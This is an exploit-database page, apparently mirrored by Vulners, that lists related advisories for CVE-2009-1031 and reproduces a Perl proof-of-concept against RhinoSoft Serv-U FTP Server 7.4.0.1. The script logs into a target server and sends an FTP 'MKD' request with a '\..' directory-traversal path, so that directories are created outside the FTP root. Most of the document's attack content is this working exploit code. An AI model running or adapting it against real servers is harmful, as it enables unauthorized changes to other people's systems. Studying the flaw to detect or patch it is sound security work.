Lucene search
+L

RhinoSoft Serv-U FTP Server 7.4.0.1 - 'MKD' Create Arbitrary Directories

🗓️ 16 Mar 2009 00:00:00Reported by Jonathan SalwanType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

FTP Serv-U v7.4.0.1 vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Serv-U < 8.0.0.1 Multiple Vulnerabilities (DoS, Traversal)
30 Mar 200900:00
nessus
nessus
Tenable Nessus
Serv-U < 8.0.0.1 Multiple Vulnerabilities (DoS, Traversal)
27 Mar 200900:00
nessus
circl
Circl
CVE-2009-1031
16 Mar 200900:00
circl
cve
CVE
CVE-2009-1031
20 Mar 200900:00
cve
cvelist
Cvelist
CVE-2009-1031
20 Mar 200900:00
cvelist
euvd
EUVD
EUVD-2009-1032
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-1031
20 Mar 200900:30
nvd
openvas
OpenVAS
Rhinosoft Serv-U FTP Multiple Vulnerabilities
26 Mar 200900:00
openvas
openvas
OpenVAS
Rhinosoft Serv-U FTP Multiple Vulnerabilities
26 Mar 200900:00
openvas
prion
Prion
Directory traversal
20 Mar 200900:30
prion
#!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# A vulnerability is caused due to an input validation error when handling FTP "MKD"
# requests. This can be exploited to escape the FTP root and create arbitrary directory on
# the system via directory traversal attacks using the "\.." character sequence.
#
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";

	if (@ARGV < 4)
		{
 		print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n";
 		print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n";
 		exit;
		}

	$ip 	= $ARGV[0];
	$port 	= $ARGV[1];
	$user	= $ARGV[2];
	$pass	= $ARGV[3];
	$dir	= $ARGV[4];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";

print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";

	print $socket "USER $user\r\n";
	print $socket "PASS $pass\r\n";
	print $socket "MKD $dir\r\n";

		sleep(3);
		close($socket);

print "[+]Done! directory $dir has been created\n";

# milw0rm.com [2009-03-16]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Dec 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.8
EPSS0.11153
32